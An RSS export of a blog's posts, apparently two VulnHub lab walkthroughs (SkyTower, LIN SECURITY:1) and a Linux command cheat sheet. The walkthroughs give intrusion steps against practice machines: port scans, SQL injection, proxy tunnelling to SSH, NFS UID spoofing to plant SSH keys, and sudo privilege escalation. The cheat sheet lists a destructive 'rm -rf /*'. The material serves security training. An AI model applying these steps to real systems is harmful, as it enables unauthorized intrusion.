<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by hidepatidar on Medium]]></title>
        <description><![CDATA[Stories by hidepatidar on Medium]]></description>
        <link>https://medium.com/@hidepatidar?source=rss-7da4b4913694------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*r5DXdZ4Rya9KEZ0bxpwfdw.png</url>
            <title>Stories by hidepatidar on Medium</title>
            <link>https://medium.com/@hidepatidar?source=rss-7da4b4913694------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 21:51:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hidepatidar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SkyTower vulnhub walkthrough]]></title>
            <link>https://hidepatidar.medium.com/skytower-vulnhub-walkthrough-ecd95cf87747?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecd95cf87747</guid>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Fri, 28 Jan 2022 11:20:51 GMT</pubDate>
            <atom:updated>2022-01-28T11:20:51.394Z</atom:updated>
            <content:encoded><![CDATA[<p>first dowload box from vulnhub using this link and deploy it on virtual box after deploying start enumeration</p><h4>let’s start enumeration</h4><p>first scan whole network for box ip address</p><pre>$ nmap -sn 192.168.1.1/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*a34QS7efhoHIUjICNbAJ6g.png" /></figure><p>now scan all port 192.168.1.206 ip address and see how many port open on this ip address</p><pre>$ nmap -v -p- 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*eCDvQruSe9SS6eamzaNmsg.png" /></figure><p>now nmap scan with default script and version detection</p><pre>$ sudo nmap -sC -sV -sU -sT -A -p 22,80,3128 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*vTmfQCZDh9Gd92LNo8XZJw.png" /></figure><p>now we enum port 80 and see what is on port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*TuTxl8TraN3FI7_I4ITkJg.png" /></figure><p>simple login page on port 80 now bruteforce directory and see how many directory exist on this server</p><pre>$ dirsearch -u 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*B8ozScGfxMiIzTPWV4WKWg.png" /></figure><p>we don’t have any directory on this now scan with whatweb tool and see result</p><pre>$ whatweb 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*cUTeKQRU7fhA0LBSo1-5BQ.png" /></figure><p>we have apache version 2.2.22 but we google it but this version is not vulnerable now scan with next tool nikto</p><pre>$ nikto -h 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*u4XfTvjGw8klrMaLdTs24g.png" /></figure><p>we have nikto result nikto have /icons/README file but it is not usefull</p><p>now i am on diffrent network so my ip address is change now my ip address is 192.168.43.121 and now we chack sql injection vulnerability on this box first we break the query and see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*L3LeUVnGSU9rS2vKuYIWSA.png" /></figure><p>insert single qoute ‘ and we see sql error somting like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*qsKC0gu7UoCVsN84XrcPdQ.png" /></figure><p>now join the query</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b8UQjTA_4xjAwMiI8GJUcQ.png" /></figure><p>but now we see same error on and our query is not join maybe some char are filter so let’s try with diffrent method</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aj9F1VFVeRCUifFQtousAg.png" /></figure><p>now we have user and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*m2xjaAauTZgIIiTdWNzw6w.png" /></figure><p>let’s try credential on ssh but ssh port is not open we have port 3128 port and squid proxy configure on this port now we use tunnel with proxytunnel and connnect with ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*t8Ur6WalWCpmu8YkgzLqxQ.png" /></figure><p>now make connection with ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*OEzu4arXsJGxWFwbRdTQBA.png" /></figure><p>we make a connection but our connection is not established</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*vzFWhaD6cAb87SwUW8ANGQ.png" /></figure><p>now connection is established but it is not proper bash shell now remove .bashrc file and make connection again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*aNlUugS9YPJ362i6fMwt9A.png" /></figure><p>now again make connection with ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*YKJnqg4aNOLp3Q2GlbxvQg.png" /></figure><p>now we are proper login with ssh</p><p>after emumerating this box we found mysq credential on login.php file let’s login with mysql</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*xIDRbgnwft9DGELVNa-0ng.png" /></figure><p>username = root password = root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*m5cmhLwwFnXMjtVbg_48QA.png" /></figure><p>let’s enumerate mysql</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*pNoGjA2EI5T-yHNLgK6wpQ.png" /></figure><p>now we have crediantial for sara and william let’s login with sara and william</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*TDF7bX_RtHXXA3gpIfakgw.png" /></figure><p>direct login is not work so we try with ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*7iUN1M_p6OY-WktPWq1llw.png" /></figure><p>now remove .bashrc file on sara directory and login again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*t5BQtDMVxcYByu3G5TK96g.png" /></figure><p>after trying sudo -l on sara user\</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*ScoibA0ofaMshWhU0KoksQ.png" /></figure><p>now we have root flag password now login with root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*UV0QLyMox23eTWmHFt_qtA.png" /></figure><p>we have root privilage happy hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecd95cf87747" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LIN SECURITY:1 Vulnhub walkthrough]]></title>
            <link>https://hidepatidar.medium.com/lin-security-1-vulnhub-walkthrough-2fdacf2acac8?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fdacf2acac8</guid>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[lin-security-walkthrough]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Tue, 21 Dec 2021 11:02:16 GMT</pubDate>
            <atom:updated>2021-12-21T11:02:16.835Z</atom:updated>
            <content:encoded><![CDATA[<p>first download box using this <a href="https://www.vulnhub.com/entry/linsecurity-1,244/">link after</a> downloading configure it on virtual box now scan port with nmap scanner</p><pre>$ nmap -v -p- 192.168.43.124</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*hMvZOs93wtIbJYxRBuVThw.png" /></figure><p>now default script and version detection scan with nmap</p><pre>$ sudo nmap -sC -sV -sT -sU -A -p 22,111,2049,36857,45819,46245,48735 192.168.43.124</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*dHDY22Eqe28ve8xH7m78rA.png" /></figure><p>we found nfs running on this vulnerable box now start nfs enumeration first we use showmount command for showing nfs share</p><pre>$ showmount -e 192.168.43.124</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*ov0FfViJZTp3kTVasBvPkA.png" /></figure><p>peter directory share with nfs now we scan with nmap nfs script</p><pre>$ sudo nmap -sC -sV -sT -sU -sT --script=nfs* -p 111,2049 192.168.43.124</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*Pwq2ow7Ulr82lzs7uNWKJg.png" /></figure><p>now mount nfs share on local pc</p><pre>$ sudo mount -t nfs 192.168.43.124:/home/peter /mnt/data</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*hu4BmtJ5RNdU_DnBkDvLaQ.png" /></figure><p>now add a user on your pc username=peter and userid=1001</p><pre>$ sudo useradd --uid 1001 peter</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*g01A3gR3QyiDB_omMHJ1SQ.png" /></figure><p>now login with user peter and go on nfs share directory</p><pre># su peter</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*1QiCUqwx8W5wFJ5RjNTU1w.png" /></figure><p>now you can create directory and file on nfs share now make directory .ssh and past authorized_keys file on .ssh directory</p><pre>$ mkdir .ssh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*Remwdo_q6n7djiHLsPnk8g.png" /></figure><p>genrate ssh-key using ssh-keygen command and past id_rsa.pub file on mount .ssh directory and replace name authorized_keys</p><pre>$ ssh-keygen</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*G1gRfhbUAocHEXFnztVEEA.png" /></figure><p>now copy id_rsa.pub file content and paste on nfs mount .ssh directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*V7u9dNsSglqSIfye54OrKw.png" /></figure><p>now make ssh connection with peter and we will successfully able to connect</p><pre>$ ssh -i id_rsa peter@192.168.43.124</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*uHhDJd8IE63OXfjEhjkF_A.png" /></figure><p>now we got susan user password let’s enumerate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*wrtySJ1WAjGZ5gIDekVjag.png" /></figure><p>try sudo -l on peter user</p><pre>$ sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*LQH2BV0cz_YN_enraM4noQ.png" /></figure><p>you can see more about strace binary on gtfobins using this <a href="https://gtfobins.github.io/gtfobins/strace/#sudo">link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Lx6no7aA0kgLsewr1RbLUg.png" /></figure><p>now we got root user</p><p>happy hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fdacf2acac8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Basic Commands]]></title>
            <link>https://hidepatidar.medium.com/linux-basic-commands-26e8a78bbf07?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/26e8a78bbf07</guid>
            <category><![CDATA[how-to-commandline-work]]></category>
            <category><![CDATA[linix-command-line]]></category>
            <category><![CDATA[how-to-use-commandline]]></category>
            <category><![CDATA[basic-linux-commands]]></category>
            <category><![CDATA[linux-using-command-line]]></category>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Mon, 29 Nov 2021 10:13:15 GMT</pubDate>
            <atom:updated>2021-11-29T10:16:56.873Z</atom:updated>
            <content:encoded><![CDATA[<p>basic linux all command here you know all task can be done by executing command you can execute every task using command line interface and it’s called command line execution . see basic linux command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O3lc_SHfXGofWUTJZ5KZuQ.png" /></figure><h3>— — — files and nevigating command — — — —</h3><h4>1. list all files and folder using ls command</h4><pre>ls            -   list all files on current location<br>ls -l         -   listing formate<br>ls -lah       -   list formate and hidden files ,human readable<br>man ls        -   manual page for ls<br>ls --help     -   for help</pre><h4>2. show present working directory</h4><pre>pwd</pre><h4>3. change directory command</h4><pre>cd name                -   for entering name directory<br>cd ..                  -   go back to one directory<br>cd ../../              -   go back two directory<br>cd ~                   -   change to home directory<br>cd /                   -   go to root / directory<br>cd --help              -   help of cp command<br>man cd                 -   manual page</pre><h4>4. create a directory command</h4><pre>mkdir dirname                -    create mydir directory<br>mkdir dir1 dir2              -    create multiple directory<br>mkdir -p dir1/dir2           -    create sub directory<br>mkdir --help</pre><h4>5. remove directory command</h4><pre>rmdir dirname                  -   remove a directory<br>rmdir dir1 dir2                -   remove multiple directory<br>rmdir -p dir1/dir2             -   remove sub directory<br>rm -r dirname                  -   delete directory<br>rmdir --help</pre><h4>6. remove files command</h4><pre>rm file                         -    delete single file<br>rm file1 file2                  -    delete multiple file<br>rm -r dirname                   -    delete directory and files<br>rm -rf dirname                  -    delete forcefully and recursive<br>rm -rf /*                       -    remove all files on / <strong>&quot;don&#39;t use &quot;<br>rm --help</strong></pre><h4>7.move file and directory</h4><pre>mv file1 file2                  -  rename a file<br>mv file /tmp                    -  move file to directory<br>mv file dir/file1               -  move file to dir as a file1\<br>mv --help</pre><h4>8. files creating command</h4><pre>touch file.txt                 -  create a file<br>touch file1 file2              -  create multiple file<br>cat &gt; file                     -  create  a file with cat<br>echo &gt; file                    -  create a file with echo<br>vi file                        -  create a file with vi<br>vim file                       -  create a file with vim<br>nano file                      -  create a file with nano</pre><h4>9. cat text editor</h4><pre>cat file                       -   show content of file<br>cat /etc/passwd                -   open passed file<br>cat &gt; file.txt                 -   create a file<br>cat &gt;&gt; file.txt                -   rewrite files<br>cat file.txt file1.txt &gt; new.txt   - combnined file<br>cat test.txt | more            -   use cat with more command<br>cat test.txt | less            -   cat with less command<br>cat -n test.txt                -   display line number</pre><h4>10. nano text editor</h4><pre>nano                             -   start a nano text editor<br>nano filename                    -   open file</pre><h4>11. vim text editor</h4><pre>vim                               -    openning vim text editor</pre><pre>Vim - Modes<br>             1. Command mode<br>             2. Insert mode<br>vim file.txt                      -    open file command mode default<br>i                                 -    press i for insert mode<br>ese key                           -    for changing mode<br>:w                                -    save the file<br>:wq                               -    save file and exit<br>:q!                               -    exit without saving</pre><pre>file edit on command mode <br>Deleting characters in command mode<br>x                                 -    delete single characters<br>5x                                -    delete 5 characters</pre><pre><br>Deleting Words<br>dw                                -     delete a word<br>5dw                               -     delete 5 word</pre><pre>Deleting Lines<br>dd                                -     delete one line<br>5dd                               -     delete 5 line</pre><pre>Copy paste line<br>yy                                -      copy a line<br>p                                 -      past a line</pre><h4>12.Pipes and Redirects</h4><pre>ls -la |less                      -        show content page wise<br>ls -la | more                     -        show content page wise<br>ifconfig |grep inet               -        using multiple command<br>ls -la &gt; newfile.txt              -        redirect output of ls command</pre><h3><strong>====================================</strong></h3><h3><strong>— — — — — Permission — — — — —</strong></h3><p>permission: allow and deny access file and directory ,permission have three type read write and execute</p><pre>-rwxrwxrwx  1 hide hide  491 Jun 21 20:15  test9.txt<br>permission on file<br>drwxr-xr-x  2 hide hide 4.0K Oct  4 14:44  test9<br>permission on directory<br>-----------------symbolic method to assign permission-------------</pre><pre>-   :  no permission<br>r   :  file or directory is readable<br>w   :  file or directory is writable<br>x   :  file or directory is executable</pre><pre>--------------numeric method to assign permission-----------------</pre><pre>0   :  no permission<br>4   :  file or directory is readable<br>2   :  file or directory is writable<br>1   :  file or directory is executable</pre><pre>------------------------------------------------------------------<br><strong>umask value<br></strong># umask                 - to view umask value<br>after masking we get the default value of file<br>[666 - 022 = 644]                 - 022 is umask value<br>after masking we get the default value of directory<br>[777 - 022 = 755]                 - 022 is umask value</pre><pre>------------------------------------------------------------------</pre><pre># chown user file/directory       -   change ownership<br># chown -R user /dir              -   recursive mode <br># chown usr:grp file/dir          - change owner user and group<br># chown -R usr:grp /dir           - recurcive for group and user<br># chgrp group file/dir            - change group file or directory<br># chgrp -R group /dir             - change group recursive</pre><pre>------------------------------------------------------------------</pre><pre><strong>symbolic method for change permission<br></strong># chmod u+rwx file/dir            - add permission for user<br># chmod g+rwx file/dir            - add permission for group<br># chmod o+rwx file/dir            - add permission for other<br># chmod u-rwx file/dir            - user permission remove<br># chmod g-rwx file/dir            - group permission remove<br># chmod o-rwx file/dir            - other permission remove<br># chmod u=rw,g=rw,o=r file/dir<br># chmod ugo+rw file/dir<br>chmod a=rwx test                  - a for all user group other</pre><pre><strong>numeric method for change permission<br></strong># chmod 777 file/dir<br># chmod 755 file/dir<br># chmod 744 file/dir<br># chmod 700 file/dir<br># chmod -R 777 /dir                - -R for recursive</pre><pre><strong>special permission<br>suid, sgid, sticky bit</strong></pre><pre># chmod u+S file                  - set suid permission on file<br># chmod 4755 file<br># chmod u-s file                  - remove suid permission<br>------------------------------------------------------------------<br># chmod g+s file                  - set sgid permission<br># chmod 2755 file                  <br># chmod g-s file                  - remove sgid permission<br>------------------------------------------------------------------<br># chmod o+t /dir                  - set stickybit permission <br># chmod 1777 /dir    <br># chmod o-t /dir                  - remove sticky bit</pre><h3>====================================</h3><h3>— User and Group Management —</h3><pre>users home directory location in linux<br>&gt; root                  -    /root<br>&gt; normal user           -    /home/user<br>------------------------------------------------------------------<br>root user <strong>uid </strong>will be always        -  0 <br>normal user uid start from          -  1000<br>system user reserved                -  1-999<br>------------------------------------------------------------------<br>/etc/passwd                    -        users information file<br>/etc/shadow                    -        users password file<br>/etc/group                     -        groups file<br>/etc/gshadow                   -        groups password file<br>------------------------------------------------------------------<br># echo $HOME                   -       see home directory<br># vim /etc/default/useradd     -       user config file change dir<br># adduser username             -       create a user<br># useradd username             -       create a user<br># useradd -c &quot;NEW USER&quot; username    <br>                               -       add user with comment<br># useradd -u 1020 username     -       add user with user id<br># useradd -s /sbin/nologin username<br>                               -       add user with shell<br># useradd -e 2014-09-30 username<br>                               -       add user with expiry date<br># useradd -p password username -       add user with password<br>------------------------------------------------------------------<br># userdel username             -       for delete user<br># userdel -r username          -       delete home dir and user<br>------------------------------------------------------------------<br># passwd username              -  set password for user<br># passwd -d username           -  remove password of user<br>------------------------------------------------------------------<br># usermod                      -help user modify command<br># usermod -c &quot;NEW USER&quot; username <br>                               - set comment for user<br># usermod -s /bin/bash username<br>                               - set login shell for user<br># usermod -e 2016-06-30 username<br>                               - set expiry date for user<br># usermod -u 1001 username     - set user id of user<br># usermod -d -m /tmp/usr usr   - change user home directory<br># usermod -l newname oldname   - change username<br>------------------------------------------------------------------<br>$su root                       - switch user<br>$su -                          - switch to root user<br>id                             - to view current user uid &amp; gid<br>------------------------------------------------------------------<br><strong>Group Managment<br></strong># groupadd groupname            - create new group<br># groupdel groupname            - for delete group<br>------------------------------------------------------------------# groupmod -g 1003 groupname    - change group id<br># groupmod - n newname oldname  - group name rename</pre><h3>====================================</h3><h3><strong>— — — — disk managment — — —</strong></h3><pre><strong>df command for view partition mount</strong><br># df -h                     - view mount partition<br>------------------------------------------------------------------# lsblk                     - see partition details<br>------------------------------------------------------------------<br># blkid                     - see partition UUID<br>------------------------------------------------------------------<br># fdisk -l                  - to check hard disk controller<br># fdisk /dev/sdb            - select harddisk partition<br>  m                         - type m and see help<br>  n                         - create new patition<br>  p                         - show partition table<br>  d                         - delete patition<br>  w                         - save partition and exit<br>  q                         - exit without saving<br>  l                         - list all patition ID<br>  t                         - change partition type<br>  i                         - print information about partition<br># partprobe                 - update the partition table<br># mkfs.ext4 /dev/sdb1       - format partition with ext4 file              <br>                              system<br>------------------------------------------------------------------<br>#vim /etc/fstab             - file system information file<br>------------------------------------------------------------------<br><strong>swap memory extend<br></strong># free -h                   - see memory usage info <br># fdisk /dev/sdb            - select HDD<br> n                          - to create new partition<br> p                          - to create primary partition<br> l                          - list of all partition ID<br> t                          - change partition id 82 for swap<br> w                          - save and exit<br># partprobe                 - to update partition table<br># swapon -s                 - see swap memory status<br># mkswap /dev/sdb3          - format partition with swap file sys<br># swapon /dev/sdb3          - to on swap partition <br># swapon -s                 - see swap memory status<br># swapoff /dev/sdb3         - to off swap partiton</pre><pre># vim /etc/fstab            - permanent mounting <br># mount -a                  - for update fstab file           </pre><h3>====================================</h3><h3>— — — — -networking — — — — —</h3><h4>1.ifconfig command</h4><pre>ifconfig                         -  all information of network interface<br>ifconfig -a                      -  see full information</pre><h4>2.services</h4><pre>systemctl --type=service                 - see all running services<br>service network restart                  - to restart network<br>systemctl restart network</pre><h4>3.ping</h4><pre>ping 8.8.8.8                        -  ping a ip address<br>ping <a href="http://www.google.com/">www.google.com</a>                 -  ping a domain<br>ping -c 5 192.168.0.1               -  send 5 packat<br>ping --help</pre><h4>4.traceroute</h4><pre>install traceroute<br>traceroute <a href="http://www.google.co.in/">www.google.com</a>            - trace google.com</pre><h4>5.nslookup</h4><pre>nslookup <a href="http://www.google.co.in/">www.google.com</a>             - to lookup google.com<br>nslookup 192.168.0.0                - lookup with ip address<br>dig <a href="http://www.google.com/">www.google.com</a>                  - same as a nslookup<br>dig 192.168.0.0          </pre><h4>6. whois</h4><pre>whois <a href="http://www.google.com/">www.google.com</a>            -       check whois details of google</pre><h4>7.netstat</h4><pre>netstat -a                       - get all port list<br>netstat -nltup                   - to get name with udp tcp           </pre><h4>8. telnet</h4><pre>telnet 192.168.43.33           -      connect with telnet server</pre><h4>9.ssh</h4><pre>ssh root@192.168.43.11          -       connect ssh server <br>ssh -p 2222 root@192.168.43.11          connect with port<br>ssh -p 2222 root@www.domain.com         connection with port,domain<br>ssh -i id_rsa root@192.168.43.11        connect with id_rsa</pre><h4>10. scp</h4><pre>scp file.txt root@192.168.43.11:/root/Desktop  -  copy file pc to server<br>scp -P 444 file.txt root@192.168.43.11:/root/  -  port 444<br>scp -r folder root@192.168.43.1:/root/Desktop  -  copy folder<br>scp -r root@192.168.1.2:/centos7/LiveOS /root/ -  copy serevr to pc</pre><h4>12.ftp</h4><pre>ftp 192.168.43.11             -    connect with ftp<br>ftp <a href="http://www.domain.com/">www.domain.com</a>            -    connection with domain<br>help                          -    see all ftp command</pre><h4>13. tftp</h4><pre>tftp 192.168.43.11              -   connect with tftp server<br>tftp&gt; mode binary</pre><h4>14. rdesktop</h4><pre><strong>connection with rdesktop</strong><br>rdesktop -d domain.com -u user -p password 192.168.43.11</pre><h4>15. smbclient</h4><pre>smbclient -L //192.168.43.11/        -    list of share directory<br>smbclient -L //192.168.43.11 -U user      connect with user and pass</pre><h4>16.wget</h4><pre>wget <a href="http://www.github.com/files">www.github.com/files</a>         -     download files from websites</pre><h4>17.tcpdump</h4><pre>tcpdump -D                    -    list of all interface<br>tcpdump -i wlan0              -    dump all traffic on wlan0<br>tcpdump -i eth0 port 80       -    dump port 80 traffic<br>tcpdump -i eth0 tcp           -    dump only tcp traffic<br>tcpdump -i eth0 src 192.168.1.1    capture from source address<br>tcpdump -i eth0 dst 192.168.1.1    capture only destination address<br>tcpdump -i eth0 -w filename.cap    save output on .cap file<br>tcpdump -r filename.cap            read data from .cap file</pre><h4>18. iptables</h4><pre>sudo iptables -L             -      see iptables rules<br>sudo iptables -L INPUT       -      see iptables input rules<br>sudo iptables -L OUTPUT      -      see iptables output rules<br>service iptables stop        -      stop iptables service<br>service iptables start       -      start iptables service<br>service iptables restart     -      iptables service restart<br>service iptables save        -       save iptables rules<br>systemctl stop iptables.service<br>systemctl start iptables.service</pre><pre><strong>open port ssh tcp port 22<br></strong>iptables -A INPUT -m state --state state NEW -m tcp -p tcp --dport 22 -j ACCEPT</pre><pre><strong>Open Range of Ports<br></strong>iptables -A INPUT -m state --statestate NEW -m tcp -p tcp --dport 20:80 -j ACCEPT</pre><pre><strong>To block SSH connections from 192.168.1.11<br></strong>iptables -A INPUT -p tcp --dport dport ssh -s 192.168.1.11 -j DROP<br>iptables -I INPUT 4 -p tcp --dport dport 22 -s 192.168.1.11 -j REJECT</pre><pre><strong>To block all connections from the IP address 192.168.1.1</strong></pre><pre>iptables -A INPUT -s 192.168.1.1 -j j DROP</pre><pre><strong>To block all of the IP addresses in the 192.168.1.1/24 network range</strong><br>iptables -A INPUT -s s 192.168.0.0/24 -j DROP<br>iptables -A INPUT -s s 192.168.0.0/255.255.255.0 -j DROP</pre><pre><strong>To block SSH connections from any IP address</strong><br>iptables -A INPUT -p tcp --dport dport ssh -j DROP</pre><pre><strong>To block and website connection<br></strong>iptables -A OUTPUT -p tcp -d facebook.com -j DROP<br>iptables -A OUTPUT -p tcp -d <a href="http://www.facebook.com/">www.facebook.com</a> -j DROP</pre><pre><strong>Block ICMP Ping Request<br></strong>iptables -A INPUT -p icmp --icmp-type echo-request -j DROP<br>iptables -A INPUT -i wlan0 -p icmp --icmp-type echo-request -j DROP</pre><pre><strong>Allow ICMP Ping Request</strong><br>iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT<br>iptables -A INPUT -s 192.168.0.0/24 -p icmp --icmp-type echo-request -j ACCEPT</pre><pre>iptables --line-numbers -n -L        -   iptables rules with line no.</pre><pre><strong>To deleteiptables rule</strong><br>iptables -D OUTPUT 1                 -   output rule 1 delete</pre><h3>====================================</h3><h3>— — Package Management — — —</h3><pre><strong>package managment in red hat pacakage manager<br>RPM package name look like<br></strong>name-version-release.architecture.rpm<br><a href="http://fr2.rpmfind.net/linux/fedora/linux/development/rawhide/Everything/aarch64/os/Packages/o/openssh-8.7p1-3.fc36.aarch64.rpm">openssh-8.7p1-3.fc36.aarch64.rpm</a></pre><h3>====================================</h3><h3>— — — — — PROCESSES— — — —</h3><h4>1.<strong>crontab</strong></h4><pre>/etc/crontab                -           configuration file<br>Service crond restart       -           restart cron jobs<br>systemctl restart crond.service         restart cron jobs<br>crontab -l                  -           see all cronjob<br>crontab -u user -l          -           list all cron running by user <br>crontab -r                  -           delete/remove cronjob</pre><h4>2.ps</h4><pre>seq 10000000000000 &gt; /dev/null &amp;        - create a process in background<br>ps                                      - to view process<br>ps -aux                                 - all process with details<br>ps -aux |less                           - hold the output</pre><h4>3.kill</h4><pre>kill 9 166                       - kill process with process id</pre><h4>4.top</h4><pre>top                               - show current running process</pre><h4>5.free</h4><pre>free -h                            -  to get memory information</pre><h4>6.pkill</h4><pre>pkill -u user                      - kill all process running with user<br>pkill --help                       - see help of the pkill command<br>pkill process_name                 -  kill process with name</pre><h4>7.jobs</h4><pre>jobs                       -         to view running jobs</pre><h4>8.bg</h4><pre>bg                        -          to view background jobs</pre><h4>9.fg</h4><pre>fg                        -             to view forground jobs</pre><h4>10.vmstat</h4><pre>vmstat -a                      - to active and inactive memory<br>vmstat 4 5                     - memory view 5 time in 4 second<br>vmstat --help                  - for help</pre><h4>11.iostat</h4><pre>iostat -h                          - monitoring system input/output</pre><h4>12. LSOF</h4><pre>lsof                                - view all open files and process<br>lsof -u hide                        - all process with user hide<br>lsof -i                             - to view all network connections<br>lsof -i TCP:80                      - process on port 80<br>lsof -i TCP:22-80                   - process port 22 to 80</pre><h3>====================================</h3><h3>— File Compression and Archiving —</h3><h4>1.Bzip2 and Bunzip2</h4><p>files compressed with bzip2 are given the extension .bz2</p><pre>bzip2 filename              -         compress a file with bzip2<br>bzip2 file1 file2 file3     -         to compress multiple file<br>bunzip2 filename.bz2        -         To expand compressed file</pre><h4>2.Gzip and Gunzip</h4><pre>gzip filename               -          to compress a file<br>gzip file1 file2 file3      -          to compress multiple file<br>gunzip filename.gz          -          to expand compressed file</pre><h4>3.Zip and Unzip</h4><pre>zip newfile.zip filesname             -      To compress a file<br>zip newfile.zip file1 file2 file3     -      compress multiple file<br>unzip newfile.zip                     -      expand compressed file</pre><h4>4.Archiving Tools</h4><pre>tar -cvf filename.tar directory      -   create a tar file <br>tar -cvf filename.tar /home/u1 /tmp/u2   multiple directory<br>tar -xvf filename.tar                -   to extract tar file<br>gzip file.tar                        -   to compress tar file<br>gunzip file.tar                      -   To extract contents<br>tar -cjvf filename.tbz file          -   tar &amp; bzip file create with -j<br>tar -xjvf filename.tbz               -   expand &amp; unarchive bzip tar<br>tar -czvf filename.tgz file          -   tar &amp; gzip file create with -z<br>tar -xzvf filename.tgz               -   expand a gzip tar file<br>tar --help</pre><h3>===================================</h3><h3>— String Processing and finding files —</h3><h4>1.head</h4><pre>head filename              -           To print fast 10 line of file<br>head -n5 filename.txt      -           To print fast 5 line of file<br>head --help</pre><h4>2.tail</h4><pre>tail filename                -        To print last 10 line of file<br>tail -n5 filename            -        To print last 5 line of file<br>tail --help</pre><h4>3.wc</h4><pre>wc filename                 -       To count line word of file<br>wc -l filename              -       To count only line<br>wc -w filename              -       To count only word<br>wc -c filename              -       display only size</pre><h4>3.sort</h4><pre>sort filename               -      sort file content with alphabet &amp; no.<br>sort -u filename            -      To remove duplicate line</pre><h4>4.grep</h4><pre>grep bash /etc/passwd          -    display line with bash<br>grep &quot;root&quot; /etc/passwd        -    display line with root <br>grep -i &quot;ROOT&quot; /etc/passwd     -    display root (not case match)<br>grep &quot;a$&quot; myfile.txt           -    display all line which is end with a<br>grep -i &quot;a$&quot; myfile.txt        -    -i for not case match<br>grep &quot;^a&quot; myfile.txt           -    display all line start with a<br>grep -i &quot;^a&quot; myfile.txt        -    not case match<br>grep &quot;a.*&quot; myfile.txt          -    display all line which have a<br>grep -i &#39;[ad]&#39; myfile.txt      -    display all line which have l and w</pre><h4>5. cut</h4><pre>cut -f1 -d: /etc/group       -  to display group name only<br><strong>root:x:0:<br>-f1                          -  set field no. 1<br>-d:                          -  set delimiter with :</strong><br>cut -f1,3 -d: /etc/passwd    -  display field no.1 and field no.3</pre><h4>6.paste</h4><pre>paste firstname.txt lastname.txt    -  combine two file with<br>                                       fullname                                        paste firstname.txt lastname.txt &gt; fullname.txt</pre><h4>7.awk</h4><pre>awk &#39;{print $0}&#39; myfile.txt         -         print all line in 